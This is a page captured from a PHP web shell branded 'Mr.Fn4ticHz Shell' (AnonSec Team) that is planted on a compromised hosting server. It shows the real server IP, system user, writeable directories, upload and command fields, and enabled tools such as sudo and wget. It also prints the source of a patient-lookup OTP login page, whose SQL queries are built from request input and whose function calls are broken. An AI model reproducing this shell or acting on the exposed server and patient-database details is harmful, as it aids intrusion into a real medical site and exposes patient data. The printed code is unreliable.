Mr.Fn4ticHz Shell
Server IP : 162.240.98.243  /  Your IP : 3.144.37.38
Web Server : Apache
System : Linux server.bti.yaw.mybluehostin.me 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : btiyawmy ( 1003)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/btiyawmy/public_html/login.easenup.in/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/btiyawmy/public_html/login.easenup.in//otpindex.php
<?php
require_once("../dbconnection.php");
//include("menu.php");
include("header.php");

    $patientid = $_GET['patientid']; 
   
    $min_length = 3;

     
    if(strlen($patientid) >= $min_length){ 
        $patientid = htmlspecialchars($patientid); 
       
        $patientid = mysql_real_escape_string($patientid);
 
         
        $raw_results = mysql_patientid("SELECT * FROM patient
            WHERE (`patientid` LIKE '%".$patientid."%') OR (`patientname` LIKE '%".$patientname."%')") or die(mysql_error());
                 if(mysql_num_rows($raw_results) > 0){ 
            while($results = mysql_fetch_array($raw_results)){
            
                echo "<p><h3>".$results['title']."</h3>".$results['text']."</p>";
                          }
             
        }
        else{ 
            echo "No results";
        }
         
    }
    else{ 
        echo "";
    }
?>
<?php
 $familyid = $_GET['familyid']; 
       $min_length = 3;
       if(strlen($familyid) >= $min_length){ 
        $patientid = htmlspecialchars($familyid); 
                $familyid = mysql_real_escape_string($familyid);
        
        $raw_results = mysql_patientid("SELECT * FROM patient
            WHERE (`familyid` LIKE '%".$familyid."%') OR (`patientname` LIKE '%".$patientid."%')") or die(mysql_error());
        
        if(mysql_num_rows($raw_results) > 0){ 
            while($results = mysql_fetch_array($raw_results)){
           
                echo "<p><h3>".$results['title']."</h3>".$results['text']."</p>";
               
            }
             
        }
        else{ 
            echo "No results";
        }
         
    }
    else{ 
        echo "";
    }
?>

<?php
 $numbers = $_GET['numbers']; 

    $min_length = 3;
    
     
    if(strlen($numbers) >= $min_length){
        $numbers = htmlspecialchars($numbers); 
       
        $numbers = mysql_real_escape_string($numbers);
        
        $raw_results = mysql_patientid("SELECT * FROM patient
            WHERE (`numbers` LIKE '%".$numbers."%') OR (`numbers` LIKE '%".$numbers."%')") or die(mysql_error());
        
        if(mysql_num_rows($raw_results) > 0){
            while($results = mysql_fetch_array($raw_results)){
                            echo "<p><h3>".$results['title']."</h3>".$results['text']."</p>";
                            }
             
        }
        else{ 
            echo "No results";
        }
         
    }
    else{ 
        echo "";
    }
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>

    <link rel="stylesheet" href="https://www.w3schools.com/w3css/4/w3.css">
<link rel="stylesheet" href=new2.css">
    <title>Search</title>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    	<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css">
    	<script>
function showUser(str) {
  if (str=="") {
    document.getElementById("txtHint").innerHTML="";
    return;
  }
  var xmlhttp=new XMLHttpRequest();
  xmlhttp.onreadystatechange=function() {
    if (this.readyState==4 && this.status==200) {
      document.getElementById("txtHint").innerHTML=this.responseText;
    }
  }
  xmlhttp.open("GET","arangeby.php?q="+str,true);
  xmlhttp.send();
}
</script>
<style>
body {font-family: Arial;}

/* Style the tab */
/
.tab {
  overflow: hidden;
  border: 1px solid #ccc;
  background-color: #f1f1f1;
}

/* Style the buttons inside the tab */
.tab button {
  background-color: inherit;
  float: center;
  border: none;
  outline: none;
  cursor: pointer;
  padding: 12px 16px;
  transition: 0.3s;
  font-size: 17px;
}

/* Change background color of buttons on hover */
.tab button:hover {
  background-color: #ddd;
}

/* Create an active/current tablink class */
.tab button.active {
  background-color: #ccc;
}

/* Style the tab content */
.tabcontent {
  display: none;
  padding: 6px 12px;
  border: 1px solid #ccc;
  border-top: none;
}
</style>

</head>
<body>

     <div class="content-wrapper">
    <!-- Content Header (Page header) -->
    <section class="content-header">
                <div class="panel panel-default">
				<div class="panel-heading">
				
				</div>
			 <div class="tab">
  <button class="tablinks" onclick="openCity(event, 'number')"id="defaultOpen">Login With OTP</button>

</div>
			      
     
<div id="number" class="tabcontent">
    <form action="otplogin.php" method="GET">
     <input type="text" placeholder="Search by Mobile Number" name="numbers" />
    <input type="submit" value="Send" />
</form>
</div>

        </thead>
      <tbody>
   

		  <script>
function myFunction(id) {
  var x = document.getElementById(id);
  if (x.className.indexOf("w3-show") == -1) {
    x.className += " w3-show";
  } else { 
    x.className = x.className.replace(" w3-show", "");
  }
}
</script>
<script>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
<script>
function openCity(evt, cityName) {
  var i, tabcontent, tablinks;
  tabcontent = document.getElementsByClassName("tabcontent");
  for (i = 0; i < tabcontent.length; i++) {
    tabcontent[i].style.display = "none";
  }
  tablinks = document.getElementsByClassName("tablinks");
  for (i = 0; i < tablinks.length; i++) {
    tablinks[i].className = tablinks[i].className.replace(" active", "");
  }
  document.getElementById(cityName).style.display = "block";
  evt.currentTarget.className += " active";
}

// Get the element with id="defaultOpen" and click on it
document.getElementById("defaultOpen").click();
</script>
<script>
$(function () {
    $("#example1").DataTable({
      "responsive": true,
      "autoWidth": false,
    });
    $('#example2').DataTable({
      "paging": true,
      "lengthChange": false,
      "searching": false,
      "ordering": true,
      "info": true,
      "autoWidth": false,
      "responsive": true,
    });
  });
</script>
</body>
</html>


	

Anon7 - 2022
AnonSec Team